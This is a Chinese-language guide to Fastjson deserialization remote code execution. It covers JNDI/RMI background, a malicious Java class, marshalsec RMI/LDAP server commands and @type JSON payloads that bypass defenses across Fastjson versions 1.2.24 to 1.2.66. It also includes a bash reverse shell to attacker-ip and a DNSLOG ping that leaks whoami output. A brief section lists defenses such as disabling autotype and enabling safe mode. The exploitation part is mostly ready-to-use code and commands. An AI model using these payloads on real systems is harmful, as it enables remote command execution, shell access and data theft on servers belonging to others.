Fastjson远程命令执行漏洞总结
字数 1996 2025-08-09 18:44:03
Fastjson远程命令执行漏洞全面分析与利用指南
1. Fastjson基础介绍
Fastjson是阿里巴巴开源的一款高性能JSON处理库,主要用于:
- 将Java Bean序列化为JSON字符串
- 从JSON字符串反序列化到JavaBean
- 实现JSON对象与JavaBean对象的相互转换
官方GitHub仓库:https://github.com/alibaba/fastjson
与其他JSON库(如Gson、net.sf.json)相比,Fastjson在性能上有显著优势,但历史上存在多个严重的安全漏洞。
2. 相关技术背景
2.1 JNDI (Java命名与目录接口)
JNDI是Java EE的重要规范,提供统一的客户端API用于访问各种命名和目录服务,支持的服务包括:
- DNS
- LDAP
- CORBA对象服务
- RMI
2.2 RMI (远程方法调用)
RMI是Java专用的远程方法调用机制,特点包括:
- 使用JRMP协议(Java Remote Message Protocol)
- 要求服务端与客户端都为Java编写
- 对象通过序列化方式传输
2.3 JNDI References注入原理
攻击者可利用References类绑定外部远程对象:
- 服务端使用ReferenceWrapper包裹Reference对象
- 客户端lookup时返回ReferenceWrapper代理
- 最终通过factory类将Reference转换为具体对象实例
关键点:
- Reference类包含className和codebase URL
- 当本地classpath缺少类时,会从codebase下载
- Java >1.8u191存在trustCodebaseURL限制
3. Fastjson漏洞家族分析
3.1 Fastjson 1.2.24反序列化漏洞(CVE-2017-18349)
漏洞原理:
Fastjson在解析JSON时支持autoType功能,未充分验证@type字段安全性,导致攻击者可构造恶意类实现RCE。
影响版本:Fastjson < 1.2.25
利用条件:
- Java版本 < 8u121/7u131/6u132
- 或未设置trustCodebaseURL限制的环境
利用步骤:
- 准备恶意类:
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {}
}
}
- 编译并启动HTTP服务:
javac Exploit.java
python -m SimpleHTTPServer 80
- 启动RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker-ip/#Exploit" 9999
- 发送恶意Payload:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://attacker-ip:9999/Exploit",
"autoCommit":true
}
}
反弹Shell payload:
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/attacker-ip/8899 0>&1"};
3.2 Fastjson 1.2.47远程命令执行漏洞
漏洞原理:
利用特殊构造的JSON字符串绕过1.2.25版本引入的白名单检测机制。
影响版本:Fastjson < 1.2.48
利用Payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://attacker-ip:9999/Exploit",
"autoCommit":true
}
}
3.3 其他版本绕过技术
3.3.1 Fastjson <=1.2.41
绕过方式:在类名前后添加L和;
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://attacker-ip:9999/exp","autoCommit":true}
3.3.2 Fastjson <=1.2.42
绕过方式:双重嵌套L和;
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://attacker-ip:9999/exp","autoCommit":true}
3.3.3 Fastjson <=1.2.45
前提条件:目标存在MyBatis 3.x.x(<3.5.0)
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://attacker-ip:1389/Exploit"}}
3.3.4 Fastjson <=1.2.62
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://attacker-ip:9999/exploit"}
3.3.5 Fastjson <=1.2.66
多个可利用的gadget:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://attacker-ip:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://attacker-ip:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://attacker-ip:1389/Calc"}
4. 漏洞防御与检测
4.1 防御措施
- 升级到最新版本Fastjson
- 关闭autotype功能:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 使用安全模式:
ParserConfig.getGlobalInstance().setSafeMode(true); - 设置白名单:
ParserConfig.getGlobalInstance().addAccept("com.yourpackage.");
4.2 Java版本限制
- RMI利用:适用于JDK < 8u121/7u131/6u132
- LDAP利用:适用于JDK < 11.0.1/8u191/7u201/6u211
5. 工具准备
5.1 环境搭建
- 安装Java环境:
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
- 安装Marshalsec:
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
5.2 常用命令
启动RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker-ip/#Exploit" 9999
启动LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker-ip/#Exploit" 9999
6. 实战检测技巧
- 基础检测:
curl http://target:8090/ -H "Content-Type: application/json" --data '{"name":"test", "age":18}'
- DNSLOG检测:
String[] commands = {"/bin/sh","-c","ping user.`whoami`.dnslog.cn"};
- 自动化工具:
- FastjsonScan
- FastjsonExploit
7. 总结
Fastjson漏洞利用关键点:
- 确认Fastjson版本
- 根据Java版本选择RMI或LDAP利用方式
- 构造合适的gadget chain
- 绕过autotype限制(针对不同版本)
- 使用DNSLOG或反弹Shell验证漏洞
建议开发者在项目中优先考虑使用Gson或Jackson等更安全的JSON库,或确保Fastjson始终为最新版本并正确配置安全选项。